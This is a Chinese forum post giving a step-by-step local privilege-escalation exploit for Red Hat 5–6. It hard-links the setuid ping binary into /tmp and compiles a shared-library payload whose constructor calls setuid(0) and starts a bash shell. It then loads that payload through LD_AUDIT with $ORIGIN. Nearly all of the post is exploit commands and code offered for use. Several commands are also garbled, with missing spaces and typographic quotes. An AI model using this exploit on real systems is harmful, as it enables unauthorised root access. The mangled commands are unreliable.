buser 发表于 2018-5-10 10:22:43

Redhat利用漏洞提权

  漏洞试用系统:redhat 5—6通用
  一.利用/tmp拥有777的权限
在/tmp下创建一个exploit目录

ln   /bin/ping(ping命令的权限很特殊是S,可以在普通用户使用这个命令的时候瞬间拥有这个命令的属主权限,这里是root)

ln /bin/ping/tmp/exploit/target
exec3</tmp/exploit/target
rm-rf/tmp/exploit/


  二.vim编写一段C语言程序(文件名payload.c)
  void__attribute__((constructor))init()//这里__是两个下划线
  {
  setuid(0);
  system(“/bin/bash”);
  }
  

  使用GCC把这个文件编译一下
  Gcc -w –fpic –shared –o /tmp/exploit payload.c
  三.执行

LD_AUDIT=”\$ORIGIN”exec/proc/self/fd/3
  
页: [1]
查看完整版本: Redhat利用漏洞提权